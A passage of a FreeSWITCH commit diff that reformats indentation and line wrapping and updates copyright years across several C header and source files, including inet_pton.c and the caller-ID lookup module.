- } else if (*p != '\\') {
- dol = NULL;
- }
- }
- }
- return SWITCH_FALSE;
+ } else if (*p != '\\') {
+ dol = NULL;
+ }
+ }
+ }
+ return SWITCH_FALSE;
}
static inline switch_bool_t switch_string_var_check_const(const char *s)
{
- const char *p;
+ const char *p;
int dol = 0;
- for (p = s; p && *p; p++) {
- if (*p == '$') {
- dol = 1;
- } else if (dol) {
- if (*p == '{') {
- return SWITCH_TRUE;
- } else if (*p != '\\') {
- dol = 0;
- }
- }
- }
- return SWITCH_FALSE;
+ for (p = s; p && *p; p++) {
+ if (*p == '$') {
+ dol = 1;
+ } else if (dol) {
+ if (*p == '{') {
+ return SWITCH_TRUE;
+ } else if (*p != '\\') {
+ dol = 0;
+ }
+ }
+ }
+ return SWITCH_FALSE;
}
static inline char *switch_var_clean_string(char *s)
@@ -386,7 +382,7 @@
{
char *p;
for (p = s; p && *p; p++) {
- uint8_t x = (uint8_t) *p;
+ uint8_t x = (uint8_t) * p;
if ((x < 32) && x != '\n' && x != '\r') {
*p = ' ';
}
@@ -403,7 +399,7 @@
*/
#define switch_safe_free(it) if (it) {free(it);it=NULL;}
-static inline char *switch_safe_strdup(const char *it)
+static inline char *switch_safe_strdup(const char *it)
{
if (it) {
return strdup(it);
@@ -413,14 +409,14 @@
}
-static inline char *switch_lc_strdup(const char *it)
+static inline char *switch_lc_strdup(const char *it)
{
char *dup;
char *p;
if (it) {
dup = strdup(it);
- for(p = dup; p && *p; p++) {
+ for (p = dup; p && *p; p++) {
*p = (char) switch_tolower(*p);
}
return dup;
@@ -430,14 +426,14 @@
}
-static inline char *switch_uc_strdup(const char *it)
+static inline char *switch_uc_strdup(const char *it)
{
char *dup;
char *p;
if (it) {
dup = strdup(it);
- for(p = dup; p && *p; p++) {
+ for (p = dup; p && *p; p++) {
*p = (char) switch_toupper(*p);
}
return dup;
@@ -562,7 +558,7 @@
SWITCH_DECLARE(char *) switch_escape_char(switch_memory_pool_t *pool, char *in, const char *delim, char esc);
SWITCH_DECLARE(char *) switch_escape_string(const char *in, char *out, switch_size_t outlen);
-SWITCH_DECLARE(char*) switch_escape_string_pool(const char *in, switch_memory_pool_t *pool);
+SWITCH_DECLARE(char *) switch_escape_string_pool(const char *in, switch_memory_pool_t *pool);
/*!
\brief Wait for a socket
@@ -591,17 +587,14 @@
#define SWITCH_READ_ACCEPTABLE(status) (status == SWITCH_STATUS_SUCCESS || status == SWITCH_STATUS_BREAK)
SWITCH_DECLARE(size_t) switch_url_encode(const char *url, char *buf, size_t len);
SWITCH_DECLARE(char *) switch_url_decode(char *s);
-SWITCH_DECLARE(switch_bool_t) switch_simple_email(const char *to,
- const char *from,
- const char *headers,
- const char *body,
- const char *file,
- const char *convert_cmd,
- const char *convert_ext);
+SWITCH_DECLARE(switch_bool_t) switch_simple_email(const char *to,
+ const char *from,
+ const char *headers,
+ const char *body, const char *file, const char *convert_cmd, const char *convert_ext);
SWITCH_DECLARE(char *) switch_find_end_paren(const char *s, char open, char close);
-static inline switch_bool_t switch_is_file_path(const char *file)
+ static inline switch_bool_t switch_is_file_path(const char *file)
{
const char *e;
int r;
@@ -611,21 +604,21 @@
file = e + 1;
}
}
-
#ifdef WIN32
- r = (file && (*file == '\\' || *(file +1) == ':' || *file == '/' || strstr(file, SWITCH_URL_SEPARATOR)));
+ r = (file && (*file == '\\' || *(file + 1) == ':' || *file == '/' || strstr(file, SWITCH_URL_SEPARATOR)));
#else
r = (file && ((*file == '/') || strstr(file, SWITCH_URL_SEPARATOR)));
#endif
return r ? SWITCH_TRUE : SWITCH_FALSE;
-
+
}
SWITCH_DECLARE(int) switch_parse_cidr(const char *string, uint32_t *ip, uint32_t *mask, uint32_t *bitp);
-SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, const char *name, switch_bool_t default_type, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, const char *name, switch_bool_t default_type,
+ switch_memory_pool_t *pool);
SWITCH_DECLARE(switch_status_t) switch_network_list_add_cidr_token(switch_network_list_t *list, const char *cidr_str, switch_bool_t ok, const char *token);
#define switch_network_list_add_cidr(_list, _cidr_str, _ok) switch_network_list_add_cidr_token(_list, _cidr_str, _ok, NULL)
Modified: freeswitch/trunk/src/include/switch_xml.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_xml.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_xml.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -103,7 +103,7 @@
* \param s The string to parse
* \param dup true if you want the string to be strdup()'d automatically
* \return the switch_xml_t or NULL if an error occured
- */
+ */
SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str_dynamic(_In_z_ char *s, _In_ switch_bool_t dup);
/*!
@@ -156,7 +156,8 @@
///\param attrname the attribute name
///\param value the value
///\return an xml node or NULL
-SWITCH_DECLARE(switch_xml_t) switch_xml_find_child(_In_ switch_xml_t node, _In_z_ const char *childname, _In_opt_z_ const char *attrname, _In_opt_z_ const char *value);
+SWITCH_DECLARE(switch_xml_t) switch_xml_find_child(_In_ switch_xml_t node, _In_z_ const char *childname, _In_opt_z_ const char *attrname,
+ _In_opt_z_ const char *value);
SWITCH_DECLARE(switch_xml_t) switch_xml_find_child_multi(_In_ switch_xml_t node, _In_z_ const char *childname, ...);
///\brief returns the next tag of the same name in the same section and depth or NULL
@@ -202,7 +203,7 @@
///\ Returns NULL if not found.
///\param xml the xml node
///\return an xml node or NULL
-SWITCH_DECLARE(switch_xml_t) switch_xml_get(_In_ switch_xml_t xml, ...);
+SWITCH_DECLARE(switch_xml_t) switch_xml_get(_In_ switch_xml_t xml,...);
///\brief Converts an switch_xml structure back to xml. Returns a string of xml data that
///\ must be freed.
@@ -218,7 +219,8 @@
///\param offset offset to start at
///\param prn_header add <?xml version..> header too
///\return the xml text string
-SWITCH_DECLARE(char *) switch_xml_toxml_buf(_In_ switch_xml_t xml, _In_z_ char *buf, _In_ switch_size_t buflen, _In_ switch_size_t offset, _In_ switch_bool_t prn_header);
+SWITCH_DECLARE(char *) switch_xml_toxml_buf(_In_ switch_xml_t xml, _In_z_ char *buf, _In_ switch_size_t buflen, _In_ switch_size_t offset,
+ _In_ switch_bool_t prn_header);
///\brief returns a NULL terminated array of processing instructions for the given
///\ target
@@ -346,30 +348,28 @@
///\return SWITCH_STATUS_SUCCESS if successful root and node will be assigned
SWITCH_DECLARE(switch_status_t) switch_xml_locate(_In_z_ const char *section,
_In_opt_z_ const char *tag_name,
- _In_opt_z_ const char *key_name,
- _In_opt_z_ const char *key_value,
- _Out_ switch_xml_t *root,
- _Out_ switch_xml_t *node,
- _In_opt_ switch_event_t *params,
- _In_ switch_bool_t clone);
+ _In_opt_z_ const char *key_name,
+ _In_opt_z_ const char *key_value,
+ _Out_ switch_xml_t *root,
+ _Out_ switch_xml_t *node, _In_opt_ switch_event_t *params, _In_ switch_bool_t clone);
-SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(_In_z_ const char *domain_name, _In_opt_ switch_event_t *params, _Out_ switch_xml_t *root, _Out_ switch_xml_t *domain);
+SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(_In_z_ const char *domain_name, _In_opt_ switch_event_t *params, _Out_ switch_xml_t *root,
+ _Out_ switch_xml_t *domain);
SWITCH_DECLARE(switch_status_t) switch_xml_locate_group(_In_z_ const char *group_name,
- _In_z_ const char *domain_name,
+ _In_z_ const char *domain_name,
_Out_ switch_xml_t *root,
- _Out_ switch_xml_t *domain,
- _Out_ switch_xml_t *group,
- _In_opt_ switch_event_t *params);
+ _Out_ switch_xml_t *domain, _Out_ switch_xml_t *group, _In_opt_ switch_event_t *params);
SWITCH_DECLARE(switch_status_t) switch_xml_locate_user(_In_z_ const char *key,
_In_z_ const char *user_name,
_In_z_ const char *domain_name,
_In_opt_z_ const char *ip,
- _Out_ switch_xml_t *root, _Out_ switch_xml_t *domain, _Out_ switch_xml_t *user, _Out_opt_ switch_xml_t *ingroup,
- _In_opt_ switch_event_t *params);
+ _Out_ switch_xml_t *root, _Out_ switch_xml_t *domain, _Out_ switch_xml_t *user,
+ _Out_opt_ switch_xml_t *ingroup, _In_opt_ switch_event_t *params);
-SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(_In_z_ const char *user_name, _In_ switch_xml_t domain, _Out_ switch_xml_t *user, _Out_opt_ switch_xml_t *ingroup);
+SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(_In_z_ const char *user_name, _In_ switch_xml_t domain, _Out_ switch_xml_t *user,
+ _Out_opt_ switch_xml_t *ingroup);
///\brief open a config in the core registry
///\param file_path the name of the config section e.g. modules.conf
@@ -390,7 +390,8 @@
SWITCH_DECLARE(switch_xml_section_t) switch_xml_get_binding_sections(_In_ switch_xml_binding_t *binding);
SWITCH_DECLARE(void *) switch_xml_get_binding_user_data(_In_ switch_xml_binding_t *binding);
-SWITCH_DECLARE(switch_status_t) switch_xml_bind_search_function_ret(_In_ switch_xml_search_function_t function, _In_ switch_xml_section_t sections, _In_opt_ void *user_data, switch_xml_binding_t **ret_binding);
+SWITCH_DECLARE(switch_status_t) switch_xml_bind_search_function_ret(_In_ switch_xml_search_function_t function, _In_ switch_xml_section_t sections,
+ _In_opt_ void *user_data, switch_xml_binding_t **ret_binding);
#define switch_xml_bind_search_function(_f, _s, _u) switch_xml_bind_search_function_ret(_f, _s, _u, NULL)
Modified: freeswitch/trunk/src/include/switch_xml_config.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_xml_config.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_xml_config.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -36,38 +36,37 @@
#include <switch.h>
SWITCH_BEGIN_EXTERN_C
+/*! \brief Type of value to parse */
+ typedef enum {
+ SWITCH_CONFIG_INT, /*< (ptr=int* default=int data=NULL) Integer */
+ SWITCH_CONFIG_STRING, /*< (ptr=[char* or char ** (for alloc)] default=char* data=switch_xml_config_string_options_t*) Zero-terminated C-string */
+ SWITCH_CONFIG_BOOL, /*< (ptr=switch_bool_t* default=switch_bool_t data=NULL) Yes and no */
+ SWITCH_CONFIG_CUSTOM, /*< (ptr=<custom function data> default=<custom function data> data=switch_xml_config_callback_t) Custom, get value through function pointer */
+ SWITCH_CONFIG_ENUM, /*< (ptr=int* default=int data=switch_xml_config_enum_item_t*) */
+ SWITCH_CONFIG_FLAG, /*< (ptr=int32_t* default=switch_bool_t data=int (flag index) */
+ SWITCH_CONFIG_FLAGARRAY, /*< (ptr=int8_t* default=switch_bool_t data=int (flag index) */
-/*! \brief Type of value to parse */
-typedef enum {
- SWITCH_CONFIG_INT, /*< (ptr=int* default=int data=NULL) Integer */
- SWITCH_CONFIG_STRING, /*< (ptr=[char* or char ** (for alloc)] default=char* data=switch_xml_config_string_options_t*) Zero-terminated C-string */
- SWITCH_CONFIG_BOOL, /*< (ptr=switch_bool_t* default=switch_bool_t data=NULL) Yes and no */
- SWITCH_CONFIG_CUSTOM, /*< (ptr=<custom function data> default=<custom function data> data=switch_xml_config_callback_t) Custom, get value through function pointer */
- SWITCH_CONFIG_ENUM, /*< (ptr=int* default=int data=switch_xml_config_enum_item_t*) */
- SWITCH_CONFIG_FLAG, /*< (ptr=int32_t* default=switch_bool_t data=int (flag index) */
- SWITCH_CONFIG_FLAGARRAY, /*< (ptr=int8_t* default=switch_bool_t data=int (flag index) */
-
/* No more past that line */
SWITCH_CONFIG_LAST
} switch_xml_config_type_t;
-typedef struct {
- char *key; /*< The item's key or NULL if this is the last one in the list */
- int value; /*< The item's value */
+typedef struct {
+ char *key; /*< The item's key or NULL if this is the last one in the list */
+ int value; /*< The item's value */
} switch_xml_config_enum_item_t;
typedef struct {
- switch_memory_pool_t *pool; /*< If set, the string will be allocated on the pool (unless the length param is > 0, then you misread this file)*/
- switch_size_t length; /*< Length of the char array, or 0 if memory has to be allocated dynamically*/
- char *validation_regex; /*< Enforce validation using this regular expression */
+ switch_memory_pool_t *pool; /*< If set, the string will be allocated on the pool (unless the length param is > 0, then you misread this file) */
+ switch_size_t length; /*< Length of the char array, or 0 if memory has to be allocated dynamically */
+ char *validation_regex; /*< Enforce validation using this regular expression */
} switch_xml_config_string_options_t;
-SWITCH_DECLARE_DATA extern switch_xml_config_string_options_t switch_config_string_strdup; /*< String options structure for strdup, no validation */
+SWITCH_DECLARE_DATA extern switch_xml_config_string_options_t switch_config_string_strdup; /*< String options structure for strdup, no validation */
typedef struct {
switch_bool_t enforce_min;
int min;
- switch_bool_t enforce_max;
+ switch_bool_t enforce_max;
int max;
} switch_xml_config_int_options_t;
@@ -85,21 +84,22 @@
CONFIG_REQUIRED = (1 << 1)
} switch_config_flags_t;
-typedef switch_status_t (*switch_xml_config_callback_t)(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed);
+typedef switch_status_t (*switch_xml_config_callback_t) (switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+ switch_bool_t changed);
/*!
* \brief A configuration instruction read by switch_xml_config_parse
*/
struct switch_xml_config_item {
- const char *key; /*< The key of the element, or NULL to indicate the end of the list */
- switch_xml_config_type_t type; /*< The type of variable */
- int flags; /*< True if the var can be changed on reload */
- void *ptr; /*< Ptr to the var to be changed */
- const void *defaultvalue; /*< Default value */
- void *data; /*< Custom data (depending on the type) */
+ const char *key; /*< The key of the element, or NULL to indicate the end of the list */
+ switch_xml_config_type_t type; /*< The type of variable */
+ int flags; /*< True if the var can be changed on reload */
+ void *ptr; /*< Ptr to the var to be changed */
+ const void *defaultvalue; /*< Default value */
+ void *data; /*< Custom data (depending on the type) */
switch_xml_config_callback_t function; /*< Callback to be called after the var is parsed */
- const char *syntax; /*< Optional syntax documentation for this setting */
- const char *helptext; /*< Optional documentation text for this setting */
+ const char *syntax; /*< Optional syntax documentation for this setting */
+ const char *helptext; /*< Optional documentation text for this setting */
};
#define SWITCH_CONFIG_ITEM(_key, _type, _flags, _ptr, _defaultvalue, _data, _syntax, _helptext) { _key, _type, _flags, _ptr, (void*)_defaultvalue, (void*)_data, NULL, _syntax, _helptext }
@@ -110,9 +110,10 @@
#define SWITCH_CONFIG_SET_ITEM(_item, _key, _type, _flags, _ptr, _defaultvalue, _data, _syntax, _helptext) switch_config_perform_set_item(&(_item), _key, _type, _flags, _ptr, (void*)(_defaultvalue), _data, NULL, _syntax, _helptext)
#define SWITCH_CONFIG_SET_ITEM_CALLBACK(_item, _key, _type, _flags, _ptr, _defaultvalue, _data, _function, _syntax, _helptext) switch_config_perform_set_item(&(_item), _key, _type, _flags, _ptr, (void*)(_defaultvalue), _data, _function, _syntax, _helptext)
-SWITCH_DECLARE(void) switch_config_perform_set_item(switch_xml_config_item_t *item, const char *key, switch_xml_config_type_t type, int flags, void *ptr,
- const void* defaultvalue, void *data, switch_xml_config_callback_t function, const char *syntax, const char *helptext);
-
+SWITCH_DECLARE(void) switch_config_perform_set_item(switch_xml_config_item_t *item, const char *key, switch_xml_config_type_t type, int flags, void *ptr,
+ const void *defaultvalue, void *data, switch_xml_config_callback_t function, const char *syntax,
+ const char *helptext);
+
/*!
* \brief Gets the int representation of an enum
* \param enum_options the switch_xml_config_enum_item_t array for this enum
@@ -125,7 +126,7 @@
* \param enum_options the switch_xml_config_enum_item_t array for this enum
* \param value int value to search
*/
-SWITCH_DECLARE(const char*) switch_xml_config_enum_int2str(switch_xml_config_enum_item_t *enum_options, int value);
+SWITCH_DECLARE(const char *) switch_xml_config_enum_int2str(switch_xml_config_enum_item_t *enum_options, int value);
/*!
* \brief Prints out an item's documentation on the console
@@ -158,7 +159,8 @@
* \param instructions instrutions on how to parse the elements
* \see switch_xml_config_item_t
*/
-SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_event(switch_event_t *event, int count, switch_bool_t reload, switch_xml_config_item_t *instructions);
+SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_event(switch_event_t *event, int count, switch_bool_t reload,
+ switch_xml_config_item_t *instructions);
/*!
* \brief Parses a list of xml elements into an event
@@ -176,9 +178,7 @@
SWITCH_DECLARE(void) switch_xml_config_cleanup(switch_xml_config_item_t *instructions);
SWITCH_END_EXTERN_C
-
#endif /* !defined(SWITCH_XML_CONFIG_H) */
-
/* For Emacs:
* Local Variables:
* mode:c
Modified: freeswitch/trunk/src/inet_pton.c (16578 => 16579)
--- freeswitch/trunk/src/inet_pton.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/inet_pton.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -52,9 +52,9 @@
* sizeof(int) < 4. sizeof(int) > 4 is fine; all the world's not a VAX.
*/
-static int inet_pton4(const char *src, unsigned char *dst);
+static int inet_pton4(const char *src, unsigned char *dst);
#ifdef ENABLE_IPV6
-static int inet_pton6(const char *src, unsigned char *dst);
+static int inet_pton6(const char *src, unsigned char *dst);
#endif
/* int
@@ -68,24 +68,23 @@
* author:
* Paul Vixie, 1996.
*/
-SWITCH_DECLARE(int)
-switch_inet_pton(int af, const char *src, void *dst)
+SWITCH_DECLARE(int) switch_inet_pton(int af, const char *src, void *dst)
{
- switch (af) {
- case AF_INET:
- return (inet_pton4(src, (unsigned char *)dst));
+ switch (af) {
+ case AF_INET:
+ return (inet_pton4(src, (unsigned char *) dst));
#ifdef ENABLE_IPV6
#ifndef AF_INET6
-#define AF_INET6 (AF_MAX+1) /* just to let this compile */
+#define AF_INET6 (AF_MAX+1) /* just to let this compile */
#endif
- case AF_INET6:
- return (inet_pton6(src, (unsigned char *)dst));
+ case AF_INET6:
+ return (inet_pton6(src, (unsigned char *) dst));
#endif
- default:
- errno = EAFNOSUPPORT;
- return (-1);
- }
- /* NOTREACHED */
+ default:
+ errno = EAFNOSUPPORT;
+ return (-1);
+ }
+ /* NOTREACHED */
}
/* int
@@ -98,44 +97,43 @@
* author:
* Paul Vixie, 1996.
*/
-static int
-inet_pton4(const char *src, unsigned char *dst)
+static int inet_pton4(const char *src, unsigned char *dst)
{
- static const char digits[] = "0123456789";
- int saw_digit, octets, ch;
- unsigned char tmp[INADDRSZ], *tp;
+ static const char digits[] = "0123456789";
+ int saw_digit, octets, ch;
+ unsigned char tmp[INADDRSZ], *tp;
- saw_digit = 0;
- octets = 0;
- tp = tmp;
- *tp = 0;
- while ((ch = *src++) != '\0') {
- const char *pch;
+ saw_digit = 0;
+ octets = 0;
+ tp = tmp;
+ *tp = 0;
+ while ((ch = *src++) != '\0') {
+ const char *pch;
- if ((pch = strchr(digits, ch)) != NULL) {
- unsigned int val = *tp * 10 + (unsigned int)(pch - digits);
+ if ((pch = strchr(digits, ch)) != NULL) {
+ unsigned int val = *tp * 10 + (unsigned int) (pch - digits);
- if (val > 255)
- return (0);
- *tp = (unsigned char)val;
- if (! saw_digit) {
- if (++octets > 4)
- return (0);
- saw_digit = 1;
- }
- } else if (ch == '.' && saw_digit) {
- if (octets == 4)
- return (0);
- *++tp = 0;
- saw_digit = 0;
- } else
- return (0);
- }
- if (octets < 4)
- return (0);
- /* bcopy(tmp, dst, INADDRSZ); */
- memcpy(dst, tmp, INADDRSZ);
- return (1);
+ if (val > 255)
+ return (0);
+ *tp = (unsigned char) val;
+ if (!saw_digit) {
+ if (++octets > 4)
+ return (0);
+ saw_digit = 1;
+ }
+ } else if (ch == '.' && saw_digit) {
+ if (octets == 4)
+ return (0);
+ *++tp = 0;
+ saw_digit = 0;
+ } else
+ return (0);
+ }
+ if (octets < 4)
+ return (0);
+ /* bcopy(tmp, dst, INADDRSZ); */
+ memcpy(dst, tmp, INADDRSZ);
+ return (1);
}
#ifdef ENABLE_IPV6
@@ -152,88 +150,85 @@
* author:
* Paul Vixie, 1996.
*/
-static int
-inet_pton6(const char *src, unsigned char *dst)
+static int inet_pton6(const char *src, unsigned char *dst)
{
- static const char xdigits_l[] = "0123456789abcdef",
- xdigits_u[] = "0123456789ABCDEF";
- unsigned char tmp[IN6ADDRSZ], *tp, *endp, *colonp;
- const char *xdigits, *curtok;
- int ch, saw_xdigit;
- unsigned int val;
+ static const char xdigits_l[] = "0123456789abcdef", xdigits_u[] = "0123456789ABCDEF";
+ unsigned char tmp[IN6ADDRSZ], *tp, *endp, *colonp;
+ const char *xdigits, *curtok;
+ int ch, saw_xdigit;
+ unsigned int val;
- memset((tp = tmp), 0, IN6ADDRSZ);
- endp = tp + IN6ADDRSZ;
- colonp = NULL;
- /* Leading :: requires some special handling. */
- if (*src == ':')
- if (*++src != ':')
- return (0);
- curtok = src;
- saw_xdigit = 0;
- val = 0;
- while ((ch = *src++) != '\0') {
- const char *pch;
+ memset((tp = tmp), 0, IN6ADDRSZ);
+ endp = tp + IN6ADDRSZ;
+ colonp = NULL;
+ /* Leading :: requires some special handling. */
+ if (*src == ':')
+ if (*++src != ':')
+ return (0);
+ curtok = src;
+ saw_xdigit = 0;
+ val = 0;
+ while ((ch = *src++) != '\0') {
+ const char *pch;
- if ((pch = strchr((xdigits = xdigits_l), ch)) == NULL)
- pch = strchr((xdigits = xdigits_u), ch);
- if (pch != NULL) {
- val <<= 4;
- val |= (pch - xdigits);
- if (val > 0xffff)
- return (0);
- saw_xdigit = 1;
- continue;
- }
- if (ch == ':') {
- curtok = src;
- if (!saw_xdigit) {
- if (colonp)
- return (0);
- colonp = tp;
- continue;
- }
- if (tp + INT16SZ > endp)
- return (0);
- *tp++ = (unsigned char) (val >> 8) & 0xff;
- *tp++ = (unsigned char) val & 0xff;
- saw_xdigit = 0;
- val = 0;
- continue;
- }
- if (ch == '.' && ((tp + INADDRSZ) <= endp) &&
- inet_pton4(curtok, tp) > 0) {
- tp += INADDRSZ;
- saw_xdigit = 0;
- break; /* '\0' was seen by inet_pton4(). */
- }
- return (0);
- }
- if (saw_xdigit) {
- if (tp + INT16SZ > endp)
- return (0);
- *tp++ = (unsigned char) (val >> 8) & 0xff;
- *tp++ = (unsigned char) val & 0xff;
- }
- if (colonp != NULL) {
- /*
- * Since some memmove()'s erroneously fail to handle
- * overlapping regions, we'll do the shift by hand.
- */
- const int n = tp - colonp;
- int i;
+ if ((pch = strchr((xdigits = xdigits_l), ch)) == NULL)
+ pch = strchr((xdigits = xdigits_u), ch);
+ if (pch != NULL) {
+ val <<= 4;
+ val |= (pch - xdigits);
+ if (val > 0xffff)
+ return (0);
+ saw_xdigit = 1;
+ continue;
+ }
+ if (ch == ':') {
+ curtok = src;
+ if (!saw_xdigit) {
+ if (colonp)
+ return (0);
+ colonp = tp;
+ continue;
+ }
+ if (tp + INT16SZ > endp)
+ return (0);
+ *tp++ = (unsigned char) (val >> 8) & 0xff;
+ *tp++ = (unsigned char) val & 0xff;
+ saw_xdigit = 0;
+ val = 0;
+ continue;
+ }
+ if (ch == '.' && ((tp + INADDRSZ) <= endp) && inet_pton4(curtok, tp) > 0) {
+ tp += INADDRSZ;
+ saw_xdigit = 0;
+ break; /* '\0' was seen by inet_pton4(). */
+ }
+ return (0);
+ }
+ if (saw_xdigit) {
+ if (tp + INT16SZ > endp)
+ return (0);
+ *tp++ = (unsigned char) (val >> 8) & 0xff;
+ *tp++ = (unsigned char) val & 0xff;
+ }
+ if (colonp != NULL) {
+ /*
+ * Since some memmove()'s erroneously fail to handle
+ * overlapping regions, we'll do the shift by hand.
+ */
+ const int n = tp - colonp;
+ int i;
- for (i = 1; i <= n; i++) {
- endp[- i] = colonp[n - i];
- colonp[n - i] = 0;
- }
- tp = endp;
- }
- if (tp != endp)
- return (0);
- /* bcopy(tmp, dst, IN6ADDRSZ); */
- memcpy(dst, tmp, IN6ADDRSZ);
- return (1);
+ for (i = 1; i <= n; i++) {
+ endp[-i] = colonp[n - i];
+ colonp[n - i] = 0;
+ }
+ tp = endp;
+ }
+ if (tp != endp)
+ return (0);
+ /* bcopy(tmp, dst, IN6ADDRSZ); */
+ memcpy(dst, tmp, IN6ADDRSZ);
+ return (1);
}
#endif /* ENABLE_IPV6 */
Modified: freeswitch/trunk/src/mod/applications/mod_cidlookup/mod_cidlookup.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_cidlookup/mod_cidlookup.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_cidlookup/mod_cidlookup.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -28,7 +28,7 @@
* mod_cidlookup.c -- API for querying cid->name services
*
*/
-
+
#include <switch.h>
#include <curl/curl.h>
@@ -50,12 +50,12 @@
char *url;
int curl_timeout;
int curl_warnduration;
-
+
char *whitepages_apikey;
switch_bool_t cache;
int cache_expire;
-
+
char *odbc_dsn;
char *odbc_user;
char *odbc_pass;
@@ -92,22 +92,24 @@
{
switch_cache_db_connection_options_t options = { {0} };
switch_cache_db_handle_t *dbh = NULL;
-
+
if (!zstr(globals.odbc_dsn)) {
options.odbc_options.dsn = globals.odbc_dsn;
options.odbc_options.user = globals.odbc_user;
options.odbc_options.pass = globals.odbc_pass;
- if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
+ if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
+ dbh = NULL;
}
return dbh;
}
-static switch_status_t config_callback_dsn(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
+static switch_status_t config_callback_dsn(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type,
+ switch_bool_t changed)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
-
+
switch_cache_db_handle_t *dbh = NULL;
if (!switch_odbc_available()) {
@@ -139,25 +141,31 @@
}
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
-
-done:
+
+ done:
switch_cache_db_release_db_handle(&dbh);
return status;
}
-static switch_xml_config_string_options_t config_opt_dsn = {NULL, 0, NULL}; /* anything is ok here */
+static switch_xml_config_string_options_t config_opt_dsn = { NULL, 0, NULL }; /* anything is ok here */
static switch_xml_config_item_t instructions[] = {
/* parameter name type reloadable pointer default value options structure */
- SWITCH_CONFIG_ITEM_STRING_STRDUP("url", CONFIG_RELOAD, &globals.url, NULL, "http://server.example.com/app?number=${caller_id_number}", "URL for the CID lookup service"),
- SWITCH_CONFIG_ITEM_STRING_STRDUP("whitepages-apikey", CONFIG_RELOAD, &globals.whitepages_apikey, NULL, "api key for whitepages.com", "api key for whitepages.com"),
+ SWITCH_CONFIG_ITEM_STRING_STRDUP("url", CONFIG_RELOAD, &globals.url, NULL, "http://server.example.com/app?number=${caller_id_number}",
+ "URL for the CID lookup service"),
+ SWITCH_CONFIG_ITEM_STRING_STRDUP("whitepages-apikey", CONFIG_RELOAD, &globals.whitepages_apikey, NULL, "api key for whitepages.com",
+ "api key for whitepages.com"),
SWITCH_CONFIG_ITEM("cache", SWITCH_CONFIG_BOOL, CONFIG_RELOAD, &globals.cache, SWITCH_FALSE, NULL, "true|false", "whether to cache via cidlookup"),
- SWITCH_CONFIG_ITEM("cache-expire", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.cache_expire, (void *)300, NULL, "expire", "seconds to preserve num->name cache"),
- SWITCH_CONFIG_ITEM("curl-timeout", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_timeout, (void *)2000, NULL, "timeout for curl", "milliseconds to timeout"),
- SWITCH_CONFIG_ITEM("curl-warning-duration", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_warnduration, (void *)1000, NULL, "warning when curl queries are longer than specified time", "milliseconds"),
+ SWITCH_CONFIG_ITEM("cache-expire", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.cache_expire, (void *) 300, NULL, "expire",
+ "seconds to preserve num->name cache"),
+ SWITCH_CONFIG_ITEM("curl-timeout", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_timeout, (void *) 2000, NULL, "timeout for curl",
+ "milliseconds to timeout"),
+ SWITCH_CONFIG_ITEM("curl-warning-duration", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_warnduration, (void *) 1000, NULL,
+ "warning when curl queries are longer than specified time", "milliseconds"),
SWITCH_CONFIG_ITEM_STRING_STRDUP("sql", CONFIG_RELOAD, &globals.sql, NULL, "sql whre number=${caller_id_number}", "SQL to run if overriding CID"),
- SWITCH_CONFIG_ITEM_STRING_STRDUP("citystate-sql", CONFIG_RELOAD, &globals.citystate_sql, NULL, "sql to look up city/state info", "SQL to run if overriding CID"),
+ SWITCH_CONFIG_ITEM_STRING_STRDUP("citystate-sql", CONFIG_RELOAD, &globals.citystate_sql, NULL, "sql to look up city/state info",
+ "SQL to run if overriding CID"),
